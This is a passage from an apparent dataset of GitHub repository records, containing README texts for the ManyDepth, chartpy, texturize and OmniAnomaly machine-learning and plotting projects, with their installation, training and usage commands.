align=\"center\">\n  <img src=\"assets/manydepth_vs_monodepth2.jpg\" alt=\"ManyDepth vs Monodepth2 depths and error maps\" width=\"700\" />\n</p>\n\n## \u270f\ufe0f \ud83d\udcc4 Citation\n\nIf you find our work useful or interesting, please cite our paper:\n\n```latex\n@inproceedings{watson2021temporal,\n    author = {Jamie Watson and\n              Oisin Mac Aodha and\n              Victor Prisacariu and\n              Gabriel Brostow and\n              Michael Firman},\n    title = {{The Temporal Opportunist: Self-Supervised Multi-Frame Monocular Depth}},\n    booktitle = {Computer Vision and Pattern Recognition (CVPR)},\n    year = {2021}\n}\n```\n\n## \ud83d\udcc8 Results\n\nOur **ManyDepth** method outperforms all previous methods in all subsections across most metrics, whether or not the baselines use multiple frames at test time.\nSee our paper for full details.\n\n<p align=\"center\">\n  <img src=\"assets/results_table.png\" alt=\"KITTI results table\" width=\"700\" />\n</p>\n\n## \ud83d\udc40 Reproducing Paper Results\n\nTo recreate the results from our paper, run:\n\n```bash\nCUDA_VISIBLE_DEVICES=<your_desired_GPU> \\\npython -m manydepth.train \\\n    --data_path <your_KITTI_path> \\\n    --log_dir <your_save_path>  \\\n    --model_name <your_model_name>\n```\n\nDepending on the size of your GPU, you may need to set `--batch_size` to be lower than 12. Additionally you can train\na high resolution model by adding `--height 320 --width 1024`.\n\nFor instructions on downloading the KITTI dataset, see [Monodepth2](https://github.com/nianticlabs/monodepth2)\n\nTo train a CityScapes model, run:\n\n```bash\nCUDA_VISIBLE_DEVICES=<your_desired_GPU> \\\npython -m manydepth.train \\\n    --data_path <your_preprocessed_cityscapes_path> \\\n    --log_dir <your_save_path>  \\\n    --model_name <your_model_name> \\\n    --dataset cityscapes_preprocessed \\\n    --split cityscapes_preprocessed \\\n    --freeze_teacher_epoch 5 \\\n    --height 192 --width 512\n```\n\nNote here the `--freeze_teacher_epoch 5` command - we found this to be important for Cityscapes models, due to the large number of images in the training set. \n\nThis assumes you have already preprocessed the CityScapes dataset using SfMLearner's [prepare_train_data.py](https://github.com/tinghuiz/SfMLearner/blob/master/data/prepare_train_data.py) script.\nWe used the following command:\n\n```bash\npython prepare_train_data.py \\\n    --img_height 512 \\\n    --img_width 1024 \\\n    --dataset_dir <path_to_downloaded_cityscapes_data> \\\n    --dataset_name cityscapes \\\n    --dump_root <your_preprocessed_cityscapes_path> \\\n    --seq_length 3 \\\n    --num_threads 8\n```\n\nNote that while we use the `--img_height 512` flag, the `prepare_train_data.py` script will save images which are `1024x384` as it also crops off the bottom portion of the image.\nYou could probably save disk space without a loss of accuracy by preprocessing with `--img_height 256 --img_width 512` (to create `512x192` images), but this isn't what we did for our experiments.\n\n## \ud83d\udcbe Pretrained weights and evaluation\n\nYou can download weights for some pretrained models here:\n\n* [KITTI MR (640x192)](https://storage.googleapis.com/niantic-lon-static/research/manydepth/models/KITTI_MR.zip)\n* [KITTI HR (1024x320)](https://storage.googleapis.com/niantic-lon-static/research/manydepth/models/KITTI_HR.zip)\n* [CityScapes (512x192)](https://storage.googleapis.com/niantic-lon-static/research/manydepth/models/CityScapes_MR.zip)\n\nTo evaluate a model on KITTI, run:\n\n```bash\nCUDA_VISIBLE_DEVICES=<your_desired_GPU> \\\npython -m manydepth.evaluate_depth \\\n    --data_path <your_KITTI_path> \\\n    --load_weights_folder <your_model_path>\n    --eval_mono\n```\n\nMake sure you have first run `export_gt_depth.py` to extract ground truth files.\n\nAnd to evaluate a model on Cityscapes, run:\n\n```bash\nCUDA_VISIBLE_DEVICES=<your_desired_GPU> \\\npython -m manydepth.evaluate_depth \\\n    --data_path <your_cityscapes_path> \\\n    --load_weights_folder <your_model_path>\n    --eval_mono \\\n    --eval_split cityscapes\n```\n\nDuring evaluation, we crop and evaluate on the middle 50% of the images.\n\nWe provide ground truth depth files [HERE](https://storage.googleapis.com/niantic-lon-static/research/manydepth/gt_depths_cityscapes.zip),\nwhich were converted from pixel disparities using intrinsics and the known baseline. Download this and unzip into `splits/cityscapes`.\n\n\nIf you want to evaluate a teacher network (i.e. the monocular network used for consistency loss), then add the flag `--eval_teacher`. This will \nload the weights of `mono_encoder.pth` and `mono_depth.pth`, which are provided for our KITTI models. \n\n## \ud83d\uddbc Running on your own images\n\nWe provide some sample code in `test_simple.py` which demonstrates multi-frame inference.\nThis predicts depth for a sequence of two images cropped from a [dashcam video](https://www.youtube.com/watch?v=sF0wXxZwISw).\nPrediction also requires an estimate of the intrinsics matrix, in json format.\nFor the provided test images, we have estimated the intrinsics to be equivalent to those of the KITTI dataset.\nNote that the intrinsics provided in the json file are expected to be in [normalised coordinates](https://github.com/nianticlabs/monodepth2/issues/6#issuecomment-494407590).\n\nDownload and unzip model weights from one of the links above, and then run the following command:\n\n```bash\npython -m manydepth.test_simple \\\n    --target_image_path assets/test_sequence_target.jpg \\\n    --source_image_path assets/test_sequence_source.jpg \\\n    --intrinsics_json_path assets/test_sequence_intrinsics.json \\\n    --model_path path/to/weights\n```\n\nA predicted depth map rendering will be saved to `assets/test_sequence_target_disp.jpeg`.\n\n## \ud83d\udc69\u200d\u2696\ufe0f License\n\nCopyright \u00a9 Niantic, Inc. 2021. Patent Pending.\nAll rights reserved.\nPlease see the [license file](LICENSE) for terms.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "cuemacro/chartpy", "link": "https://github.com/cuemacro/chartpy", "tags": ["plotting", "chart", "matplotlib", "bokeh", "plotly"], "stars": 509, "description": "Easy to use Python API wrapper to plot charts with matplotlib, plotly, bokeh and more", "lang": "Python", "repo_lang": "", "readme": "<img src=\"chartpy_logo.png?raw=true\" width=\"300\"/>\n\n# [chartpy](https://github.com/cuemacro/chartpy)\n\n[![Downloads](https://pepy.tech/badge/chartpy)](https://pepy.tech/project/chartpy)\n\nchartpy creates a simple easy to use API to plot in a number of great Python chart libraries like plotly (via cufflinks), bokeh and matplotlib,\nwith a unified interface. You simply need to change a single keyword to change which chart engine to use (see below), rather than having\nto learn the low level details of each library. I've also created new stylesheets and formating to ensure that the default matplotlib\nstyling looks more modern using Open Sans font.\n\n*Contributors for the project are very much welcome, sell below!*\n\n```\nchart = Chart(df=df, chart_type='line', style=style)\n\n# we now plot using multiple plotting libraries, with the same dataframe\nchart.plot(engine='matplotlib')\nchart.plot(engine='bokeh')\nchart.plot(engine='plotly')\n```\n\nI had previously written the open source PyThalesians financial library. This new chartpy library has some similar functionality to the chart\npart of that library. However, I've totally rewritten the API to make it much cleaner and easier to use. It is also now a fully\nstandalone package, so it'll be easier to use for both non-financial and financial applications. It also has many more features including subplots \nand much more.\n\nAt present chartpy supports several types of plots\n* line (bokeh, plotly and matplotlib)\n* bar (bokeh, plotly and matplotlib)\n* scatter (bokeh, plotly and matplotlib)\n* bar horizontal (matplotlib and plotly)\n* heatmap (matplotlib and plotly)\n* surface (plotly)\n* map plots (plotly)\n* looking to add more (any requests?)\n\n# VisPy\n\nThere is also very early support for line charts generated by [vispy](http://vispy.org/), which allows for GPU accelerated plotting in Python.\nHowever, at present the wrapper doesn't yet support plotting of dates (these are ignored when plotting).\n\nThere is a big speed improvement in using the VisPy wrapper if you are plotting many millions of points (with a small number of points\nmatplotlib seems quicker). Installation instructions for VisPy are [here](http://vispy.org/installation.html). By default,\nchartpy will install the latest release version, but you find it necessary to use the most up to date development version of VisPy\n\nOther points to note\n* Please bear in mind at present chartpy is currently a highly experimental alpha project and isn't yet fully \ndocumented\n* Uses Apache 2.0 licence\n\n# Gallery\n\nDoing plots in multiple libraries by simply changing a keyword, from the Jupyter notebook.\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/screenshot.png?raw=true\" width=\"543\"/>\n\nCreate subplots with minimal extra coding (see examples/subplot_examples.py)\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/subplot.png?raw=true\" width=\"543\"/>\n\nDo surface plots (plotly only at present - see examples/surface_examples.py)\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/volsurface.png?raw=true\" width=\"543\"/>\n\nDo bar horizontal plots (matplotlib and plotly - see examples/chart_demo.py)\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/barh.png?raw=true\" width=\"543\"/>\n\nCreate heatmaps (matplotlib and plotly - see examples/chart_demo.py)\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/heatmap.png?raw=true\" width=\"543\"/>\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/plotlyheatmap.png?raw=true\" width=\"543\"/>\n\nCreate HTML webpages (using Canvas class - see examples/canvas_demo.py) - using mixture of plots (plotly, bokeh & matplotlib), tables\nand text, with just a few lines of Python! The HTML file can then be uploaded to a webserver for display (or sent around by e-mail etc)\n\n<img src=\"https://github.com/cuemacro/chartpy/blob/master/chartpy_examples/canvas.png?raw=true\" width=\"543\"/>\n\n# Requirements\n\nMajor requirements\n* Required: Python 3.7\n* Required: pandas, matplotlib, plotly, cufflinks, bokeh, numpy etc.\n\n# To install Open Sans font\n\nMy chartpy stylesheet for matplotlib uses the free Open Sans font. For it to display properly you need to install Open Sans font\non your computer\n* First download font from https://www.fontsquirrel.com/fonts/open-sans\n* Windows: Install font by dragging to Windows/fonts folder\n* Windows: Reset matplotlib font cache (delete file eg. c:/users/username/.matplotlib/fontList.py3k.cache\n* On Mac OS X/Linux procedure for installing fonts is different\n\n\n# Installation\n\nYou can install the library using the below (latest version). After installation:\n* Make sure you edit the chartconstants.py file for the correct Plotly API and Twitter API keys \n(or create a chartcred.py file)\n\n```\npip install git+https://github.com/cuemacro/chartpy.git\n```\n\nYou can also install chartpy from PyPI (but this will usually be a slightly older version)\n\n```\npip install chartpy\n```\n\nNote that chartpy now supports Plotly 4, because Cufflinks 0.17 now works with Plotly 4!\n\n```\npip install cufflinks==0.17 plotly==4.2.1\n```\n\n# Why did I write chartpy?\n\nThere are many good charting libraries. However, they all have different APIs. It took me a lot of time to learn a new API,\nfor each new plotting library I wanted to use. I ended up writing chartpy to abstract away all this complexity, so I could\nconcentrate on analysing data, rather than getting caught up in complex API visualisation calls. Rather than\nhaving to totally edit my code each time, a single keyword is enough to switch between for example plotly and matplotlib.\n\nI've also tried to design the library so that adding a new plotting engine is fairly straightforward (extend EngineTemplate\nand edit the get_engine method in Chart), so it's basically future proof for whatever new chart libraries come along, with\nrelatively small changes to your code base.\n\n# Interactive Web Dashboards with chartpy/dash\n\nchartpy also has interactive dashboards based on Plotly's Dash package, but with a lot less of the boilerplate code\nwhich Dash uses. Users extend `LayoutCanvas` to create their own Dash layouts and `SketchComponents` can be used\nto quickly create Dash components/HTML components, with relatively few lines of code.\n\nHence, it's a lot quicker to create Dash based dashboards in chartpy! In the future, we want\nto also support other Python dashboards like [H2O Wave](https://www.h2o.ai/products/h2o-wave/).\n\nYou'll need to install Dash as an extra\nto use them as they aren't part of the default installation, which we can see below (Linux at top, Windows on bottom):\n\n    pip install cufflinks==0.17.3 plotly==4.14.3 kaleido dash==1.20.0 \\\n      dash-html-components==1.1.3 dash-core-components==1.16.0 dash-table==4.11.3 \\\n      jupyter-dash==0.4.0 chart_studio==1.1.0\n\n    pip install cufflinks==0.17.3 plotly==4.14.3 kaleido dash==1.20.0 ^\n      dash-html-components==1.1.3 dash-core-components==1.16.0 dash-table==4.11.3 ^\n      jupyter-dash==0.4.0 chart_studio==1.1.0\n\n# Contributors\n\nContributors are always welcome for finmarketpy, findatapy and chartpy. If you'd like to contribute, have a look at\n[Planned Features](https://github.com/cuemacro/finmarketpy/blob/master/PLANNED_FEATURES.md) for areas we're looking for help on. \nOr if you have any ideas for improvements to the libriares please let us know too!\n\n# chartpy examples\n\nIn chartpy/examples you will find several demos\n\n# Recent Release Notes\n\n* 07 Jul 2022 - v0.1.12\n* 06 Oct 2021 - v0.1.11\n* 01 Jun 2021 - v0.1.10\n* 04 May 2021 - v0.1.9\n* 08 Jun 2020 - v0.1.8\n* 06 May 2020 - v0.1.7\n* 06 Apr 2020 - v0.1.6\n* 02 Apr 2020 - v0.1.5\n* 23 Oct 2019 - v0.1.4 \n\n# Coding log\n\n* 02 Nov 2022\n  * Added data parameter for creation of Dash table\n* 01 Sep 2022\n  * Fix for latest Dash datatable\n* 15 Aug 2022\n  * Added subplot parameters for Plotly\n* 11 Aug 2022\n  * Minor change to headline title size for Dash datatable\n* 07 Jul 2022\n  * Edited SketchComponents to take into account deprecated Dash imports\n* 29 Jun 2021\n  * Add downloads badge\n* 14 May 2021\n  * Added extra font properties for Dash DataTables\n  * Fixed default font\n* 12 May 2021\n  * Fixed display of Dash DataTables for new Dash versions\n* 06 May 2021\n  * Fixed subplots with plotly\n  * Added realized vol to dashboard example\n* 05 May 2021\n  * Add simple dashboard example for downloading Quandl data\n* 04 May 2021\n  * Changed default widths for dashboard\n* 03 May 2021\n  * Spinning out some Dash visualization tools from tcapy to chartpy\n* 19 Apr 2021\n  * Add region plot\n* 15 Apr 2021\n  * Constant overrides now persist\n* 13 Apr 2021\n    * Can add second y-axis labels for Plotly\n* 22 Mar 2021\n    * Added more formatting for Plotly (eg. text font etc.)\n* 02 Dec 2020\n    * Added animation for Plotly\n* 08 Jun 2020\n    * Now requires Plotly >=4.5.1\n    * Fixed setup.py to install chart-studio\n* 06 May 2020 - Plotly can now export to PNG\n* 02 Apr 2020 - Plotly can now produce SVG\n* 02 Nov 2019 - Now supports Plotly 4.x with Cufflinks 0.17\n* 23 Oct 2019 - Added advisory on Plotly 3.10 and Cufflinks 0.16\n* 19 Aug 2019 - Removed .ix usage, which is now deprecated in Pandas\n* 06 Aug 2019 - Refactored Plotly code, adding Plotly 4.0 support (not complete yet)\n* 06 Mar 2019 - Changed library for PDF generation\n* 12 Feb 2019 - Fixed bug with dot/dash Plotly charts\n* 27 Nov 2018 - Fixed deprecation message for plotly.graph_objs.layout.Margin\n* 11 Oct 2018 - Added support for Plotly 3.0 (with line gaps)\n* 08 Aug 2018 - Added fixes for bubble charts\n* 06 Jun 2018 - Fixed issue with plotly bubble charts\n* 26 Mar 2018 - Various bug fixes (bubble charts, plotting pandas dataframes etc).\n* 19 Feb 2018 - Support for Python 2.7 and Plotly engine now supports dash\n* 21 Dec 2017 - Added webgl Plotly charts & other Plotly parameters\n* 15 Nov 2017 - Fixed bug when plotting time series with DatetimeIndex and newer matplotlib\n* 10 Oct 2017 - Added flag to works in Bokeh 0.12.9\n* 18 Sep 2017 - Fixed plotting DataFrame with DatetimeIndex with Bokeh\n* 05 Jul 2017 - Fixed PLANNED_FEATURES.md link\n* 03 May 2017 - Added more on contributors\n* 24 Apr 2017 - Added extra xkcd example\n* 19 Feb 2017 - Added simple animations for matplotlib\n* 16 Feb 2017 - Added VisPy support for plotting and added demo example\n* 11 Feb 2017 - Added chartpy logo\n* 05 Feb 2017 - Fixed x-axis date formatting issue with matplotlib wrapper\n* 02 Feb 2017 - Added page title to Canvas and starting to add PDF support for canvas\n* 27 Jan 2017 - Added save_fig attribute in style\n* 23 Jan 2017 - Moved examples folder\n* 30 Nov 2016 - Added skeleton for bqplot (not implemented yet)\n* 17 Oct 2016 - Added grid flags for bokeh, plotly and matplotlib, improved formating on printing dataframes\n* 14 Oct 2016 - Fixed missing stylesheets in package setup\n* 12 Oct 2016 - Fixed handling of auto generated filenames\n* 11 Oct 2016 - Changed handling of auto generated filenames\n* 10 Oct 2016 - Added xkcd style plots for matplotlib\n* 07 Oct 2016 - Added .idea to .gitignore\n* 06 Oct 2016 - Added support for secondary y-axis in Plotly\n* 29 Sep 2016 - New webpage_examples notebook to illustrate creating chart webpages\n* 26 Sep 2016 - Added thin margin setting for Plotly\n* 25 Sep 2016 - Added Canvas method to easily create webpage reports with charts\n* 23 Sep 2016 - Fixed deprecated method for uploading to Twitter\n* 03 Sep 2016 - Added horizontal bars and heatmap for matplotlib and plotly\n* 28 Aug 2016 - Added explanation of why chartpy?\n* 20 Aug 2016 - Added Plotly default palette, surface examples\n* 19 Aug 2016 - Added HTML examples for bokeh & plotly, subplotting for bokeh, plotly & matplotlib (with subplot_examples)\n* 17 Aug 2016 - Uploaded first code\n\nEnd of note\n", "readme_type": "markdown", "hn_comments": "It's open source library providing single API for doing plots in plotly, bokeh and matplotlib - interested in getting feedback (eg. useful or not etc)<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "texturedesign/texturize", "link": "https://github.com/texturedesign/texturize", "tags": ["deep-learning", "generative-model", "image-manipulation", "image-processing", "texture-synthesis", "texture-generation", "image-generation", "computational-photography", "python3", "command-line-tool"], "stars": 508, "description": "\ud83e\udd16\ud83d\udd8c\ufe0f Generate photo-realistic textures based on source images. Remix, remake, mashup! Useful if you want to create variations on a theme or elaborate on an existing texture.", "lang": "Python", "repo_lang": "", "readme": "texturize\n=========\n\n.. image:: docs/gravel-x4.webp\n\nA command-line tool and Python library to automatically generate new textures similar\nto a source image or photograph.  It's useful in the context of computer graphics if\nyou want to make variations on a theme or expand the size of an existing texture.\n\nThis software is powered by deep learning technology \u2014 using a combination of\nconvolution networks and example-based optimization to synthesize images.  We're\nbuilding ``texturize`` as the highest-quality open source library available!\n\n1. `Examples & Demos <#1-examples--demos>`_\n2. `Commands <#2-commands>`_\n3. `Options & Usage <#3-options--usage>`_\n4. `Installation <#4-installation>`_\n\n|Python Version| |License Type| |Project Stars| |Package Version| |Project Status| |Build Status|\n\n----\n\n1. Examples & Demos\n===================\n\nThe examples are available as notebooks, and you can run them directly in-browser\nthanks to Jupyter and Google Colab:\n\n* **Gravel** \u2014 `online demo <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Demo_Gravel.ipynb>`__ and `source notebook <https://github.com/photogeniq/texturize/blob/master/examples/Demo_Gravel.ipynb>`__.\n* **Grass** \u2014 `online demo <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Demo_Grass.ipynb>`__ and `source notebook <https://github.com/photogeniq/texturize/blob/master/examples/Demo_Grass.ipynb>`__.\n\nThese demo materials are released under the Creative Commons `BY-NC-SA license <https://creativecommons.org/licenses/by-nc-sa/3.0/>`_, including the text, images and code.\n\n.. image:: docs/grass-x4.webp\n\n2. Commands\n===========\n\na) REMIX\n--------\n\n    Generate variations of any shape from a single texture.\n\nRemix Command-Line\n~~~~~~~~~~~~~~~~~~\n\n.. code-block:: bash\n\n    Usage:\n        texturize remix SOURCE...\n\n    Examples:\n        texturize remix samples/grass.webp --size=720x360\n        texturize remix samples/gravel.png --size=512x512\n\nRemix Library API\n~~~~~~~~~~~~~~~~~\n\n.. code-block:: python\n\n    from texturize import api, commands, io\n\n    # The input could be any PIL Image in RGB mode.\n    image = io.load_image_from_file(\"input.png\")\n\n    # Coarse-to-fine synthesis runs one octave at a time.\n    remix = commands.Remix(image)\n    for result in api.process_octaves(remix, octaves=5):\n        pass\n\n    # The output can be saved in any PIL-supported format.\n    result.image.save(\"output.png\")\n\n\nRemix Examples\n~~~~~~~~~~~~~~\n\n.. image:: docs/remix-gravel.webp\n\n.. Remix Online Tool\n.. ~~~~~~~~~~~~~~~~~\n.. * `colab notebook <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Tool_Remix.ipynb>`__\n\n----\n\nb) REMAKE\n---------\n\n    Reproduce an original texture in the style of another.\n\n\nRemake Command-Line\n~~~~~~~~~~~~~~~~~~~\n\n.. code-block:: bash\n\n    Usage:\n        texturize remake TARGET [like] SOURCE\n\n    Examples:\n        texturize remake samples/grass1.webp like samples/grass2.webp\n        texturize remake samples/gravel1.png like samples/gravel2.png --weight 0.5\n\n\nRemake Library API\n~~~~~~~~~~~~~~~~~~\n\n.. code-block:: python\n\n    from texturize import api, commands\n\n    # The input could be any PIL Image in RGB mode.\n    target = io.load_image_from_file(\"input1.png\")\n    source = io.load_image_from_file(\"input2.png\")\n\n    # Only process one octave to retain photo-realistic output.\n    remake = commands.Remake(target, source)\n    for result in api.process_octaves(remake, octaves=1):\n        pass\n\n    # The output can be saved in any PIL-supported format.\n    result.image.save(\"output.png\")\n\n\nRemake Examples\n~~~~~~~~~~~~~~~\n\n.. image:: docs/remake-grass.webp\n\n.. Remake Online Tool\n.. ~~~~~~~~~~~~~~~~~~\n.. * `colab notebook <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Tool_Remake.ipynb>`__\n\n----\n\nc) MASHUP\n---------\n\n    Combine multiple textures together into one output.\n\n\nMashup Command-Line\n~~~~~~~~~~~~~~~~~~~\n\n.. code-block:: bash\n\n    Usage:\n        texturize mashup SOURCE...\n\n    Examples:\n        texturize mashup samples/grass1.webp samples/grass2.webp\n        texturize mashup samples/gravel1.png samples/gravel2.png\n\n\nMashup Library API\n~~~~~~~~~~~~~~~~~~\n\n.. code-block:: python\n\n    from texturize import api, commands\n\n    # The input could be any PIL Image in RGB mode.\n    sources = [\n        io.load_image_from_file(\"input1.png\"),\n        io.load_image_from_file(\"input2.png\"),\n    ]\n\n    # Only process one octave to retain photo-realistic output.\n    mashup = commands.Mashup(sources)\n    for result in api.process_octaves(mashup, octaves=5):\n        pass\n\n    # The output can be saved in any PIL-supported format.\n    result.image.save(\"output.png\")\n\n\nMashup Examples\n~~~~~~~~~~~~~~~\n\n.. image:: docs/mashup-gravel.webp\n\n.. Mashup Online Tool\n.. ~~~~~~~~~~~~~~~~~~\n.. * `colab notebook <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Tool_Mashup.ipynb>`__\n\n----\n\nd) ENHANCE\n----------\n\n    Increase the resolution or quality of a texture using another as an example.\n\n\nEnhance Command-Line\n~~~~~~~~~~~~~~~~~~~~\n\n.. code-block:: bash\n\n    Usage:\n        texturize enhance TARGET [with] SOURCE --zoom=ZOOM\n\n    Examples:\n        texturize enhance samples/grass1.webp with samples/grass2.webp --zoom=2\n        texturize enhance samples/gravel1.png with samples/gravel2.png --zoom=4\n\n\nEnhance Library API\n~~~~~~~~~~~~~~~~~~~\n\n.. code-block:: python\n\n    from texturize import api, commands\n\n    # The input could be any PIL Image in RGB mode.\n    target = io.load_image_from_file(\"input1.png\")\n    source = io.load_image_from_file(\"input2.png\")\n\n    # Only process one octave to retain photo-realistic output.\n    enhance = commands.Enhance(target, source, zoom=2)\n    for result in api.process_octaves(enhance, octaves=2):\n        pass\n\n    # The output can be saved in any PIL-supported format.\n    result.image.save(\"output.png\")\n\n\nEnhance Examples\n~~~~~~~~~~~~~~~~\n\n.. image:: docs/enhance-grass.webp\n\n.. Enhance Online Tool\n.. ~~~~~~~~~~~~~~~~~~~\n.. * `colab notebook <https://colab.research.google.com/github/photogeniq/texturize/blob/master/examples/Tool_Enhance.ipynb>`__\n\n----\n\n\n3. Options & Usage\n==================\n\nFor details about the command-line usage of the tool, see the tool itself:\n\n.. code-block:: bash\n\n    texturize --help\n\nHere are the command-line options currently available, which apply to most of the\ncommands above::\n\n    Options:\n        SOURCE                  Path to source image to use as texture.\n        -s WxH, --size=WxH      Output resolution as WIDTHxHEIGHT. [default: 640x480]\n        -o FILE, --output=FILE  Filename for saving the result, includes format variables.\n                                [default: {command}_{source}{variation}.png]\n\n        --weights=WEIGHTS       Comma-separated list of blend weights. [default: 1.0]\n        --zoom=ZOOM             Integer zoom factor for enhancing. [default: 2]\n\n        --variations=V          Number of images to generate at same time. [default: 1]\n        --seed=SEED             Configure the random number generation.\n        --mode=MODE             Either \"patch\" or \"gram\" to manually specify critics.\n        --octaves=O             Number of octaves to process. Defaults to 5 for 512x512, or\n                                4 for 256x256 equivalent pixel count.\n        --quality=Q             Quality for optimization, higher is better. [default: 5]\n        --device=DEVICE         Hardware to use, either \"cpu\" or \"cuda\".\n        --precision=PRECISION   Floating-point format to use, \"float16\" or \"float32\".\n        --quiet                 Suppress any messages going to stdout.\n        --verbose               Display more information on stdout.\n        -h, --help              Show this message.\n\n\n4. Installation\n===============\n\nLatest Release [recommended]\n----------------------------\n\nWe suggest using `Miniconda 3.x <https://docs.conda.io/en/latest/miniconda.html>`__ to\nmanage your Python environments.  Once the ``conda`` command-line tool is installed on\nyour machine, there are setup scripts you can download directly from the repository:\n\n.. code-block:: bash\n\n    # a) Use this if you have an *Nvidia GPU only*.\n    curl -s https://raw.githubusercontent.com/photogeniq/texturize/master/tasks/setup-cuda.yml -o setup.yml\n\n    # b) Fallback if you just want to run on CPU.\n    curl -s https://raw.githubusercontent.com/photogeniq/texturize/master/tasks/setup-cpu.yml -o setup.yml\n\nNow you can create a fresh Conda environment for texture synthesis:\n\n.. code-block:: bash\n\n    conda env create -n myenv -f setup.yml\n    conda activate myenv\n\n**NOTE**: Any version of CUDA is suitable to run ``texturize`` as long as PyTorch is\nworking.  See the official `PyTorch installation guide <https://pytorch.org/get-started/locally/>`__\nfor alternatives ways to install the ``pytorch`` library.\n\nThen, you can fetch the latest version of the library from the Python Package Index\n(PyPI) using the following command:\n\n.. code-block:: bash\n\n    pip install texturize\n\nFinally, you can check if everything worked by calling the command-line script:\n\n.. code-block:: bash\n\n    texturize --help\n\nYou can use ``conda env remove -n myenv`` to delete the virtual environment once you\nare done.\n\n\nRepository Install [developers]\n-------------------------------\n\nIf you're a developer and want to install the library locally, start by cloning the\nrepository to your local disk:\n\n.. code-block:: bash\n\n    git clone https://github.com/photogeniq/texturize.git\n\nWe also recommend using `Miniconda 3.x <https://docs.conda.io/en/latest/miniconda.html>`__\nfor development.  You can set up a new virtual environment called ``myenv`` by running\nthe following commands, depending whether you want to run on CPU or GPU (via CUDA).\nFor advanced setups like specifying which CUDA version to use, see the official\n`PyTorch installation guide <https://pytorch.org/get-started/locally/>`__.\n\n.. code-block:: bash\n\n    cd texturize\n\n    # a) Use this if you have an *Nvidia GPU only*.\n    conda env create -n myenv -f tasks/setup-cuda.yml\n\n    # b) Fallback if you just want to run on CPU.\n    conda env create -n myenv -f tasks/setup-cpu.yml\n\nOnce the virtual environment is created, you can activate it and finish the setup of\n``texturize`` with these commands:\n\n.. code-block:: bash\n\n    conda activate myenv\n    poetry install\n\nFinally, you can check if everything worked by calling the script:\n\n.. code-block:: bash\n\n    texturize --help\n\nUse ``conda env remove -n myenv`` to remove the virtual environment once you are done.\n\n----\n\n|Python Version| |License Type| |Project Stars| |Package Version| |Project Status| |Build Status|\n\n.. |Python Version| image:: https://img.shields.io/pypi/pyversions/texturize\n    :target: https://docs.conda.io/en/latest/miniconda.html\n\n.. |License Type| image:: https://img.shields.io/badge/license-AGPL-blue.svg\n    :target: https://github.com/photogeniq/texturize/blob/master/LICENSE\n\n.. |Project Stars| image:: https://img.shields.io/github/stars/photogeniq/texturize.svg?color=turquoise\n    :target: https://github.com/photogeniq/texturize/stargazers\n\n.. |Package Version| image:: https://img.shields.io/pypi/v/texturize?color=turquoise\n    :alt: PyPI - Version\n    :target: https://pypi.org/project/texturize/\n\n.. |Project Status| image:: https://img.shields.io/pypi/status/texturize?color=#00ff00\n    :alt: PyPI - Status\n    :target: https://github.com/photogeniq/texturize\n\n.. |Build Status| image:: https://img.shields.io/github/workflow/status/photogeniq/texturize/build\n    :alt: GitHub Workflow Status\n    :target: https://github.com/photogeniq/texturize/actions?query=workflow%3Abuild\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "NetManAIOps/OmniAnomaly", "link": "https://github.com/NetManAIOps/OmniAnomaly", "tags": ["code", "dataset"], "stars": 508, "description": "KDD 2019: Robust Anomaly Detection for Multivariate Time Series through Stochastic Recurrent Neural Network", "lang": "Python", "repo_lang": "", "readme": "# OmniAnomaly\n\n\n\n### Anomaly Detection for Multivariate Time Series through Modeling Temporal Dependence of Stochastic Variables\n\nOmniAnomaly is a stochastic recurrent neural network model which glues Gated Recurrent Unit (GRU) and Variational auto-encoder (VAE), its core idea is to learn the normal patterns of multivariate time series and uses the reconstruction probability to do anomaly judgment. \n\n\n\n## Getting Started\n\n#### Clone the repo\n\n```\ngit clone https://github.com/smallcowbaby/OmniAnomaly && cd OmniAnomaly\n```\n\n#### Get data\n\nSMD (Server Machine Dataset) is in folder `ServerMachineDataset`. \n\nYou can get the public datasets (SMAP and MSL) using:\n\n```shell\nwget https://s3-us-west-2.amazonaws.com/telemanom/data.zip && unzip data.zip && rm data.zip\n\ncd data && wget https://raw.githubusercontent.com/khundman/telemanom/master/labeled_anomalies.csv\n```\n\n#### Install dependencies (with python 3.5, 3.6) \n\n(virtualenv is recommended)\n\n```shell\npip install -r requirements.txt\n```\n\n#### Preprocess the data\n\n```shell\npython data_preprocess.py <dataset>\n```\n\nwhere `<dataset>` is one of `SMAP`, `MSL` or `SMD`.\n\n#### Run the code\n\n```\npython main.py\n```\n\nIf you want to change the default configuration, you can edit `ExpConfig` in `main.py` or overwrite the config in `main.py` using command line args. For example:\n\n```\npython main.py --dataset='MSL' --max_epoch=20\n```\n\n\n\n## Data\n\n### Dataset Information\n\n| Dataset name| Number of entities | Number of dimensions | Training set size |Testing set size |Anomaly ratio(%)|\n|------|----|----|--------|--------|-------|\n| SMAP | 55 | 25 | 135183 | 427617 | 13.13 |\n|MSL | 27 | 55 | 58317 | 73729 | 10.72|\n|SMD | 28 |38 | 708405 | 708420 | 4.16 |\n\n\n\n### SMAP and MSL\n\nSMAP (Soil Moisture Active Passive satellite) and MSL (Mars Science Laboratory rover) are two public datasets from NASA.\n\nFor more details, see: <https://github.com/khundman/telemanom>\n\n\n\n### SMD\n\nSMD (Server Machine Dataset) is a new 5-week-long dataset. We collected it from a large Internet company. This dataset contains 3 groups of entities. Each of them is named by `machine-<group_index>-<index>`.\n\nSMD is made up by data from 28 different machines, and the 28 subsets should be trained and tested separately. For each of these subsets, we divide it into two parts of equal length for training and testing. We provide labels for whether a point is an anomaly and the dimensions 